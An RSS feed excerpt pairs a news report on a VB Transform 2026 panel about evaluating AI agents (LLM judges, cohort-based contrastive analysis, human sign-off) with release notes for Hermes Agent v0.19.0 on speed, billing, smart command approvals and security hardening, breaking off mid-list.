<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
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<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
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<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
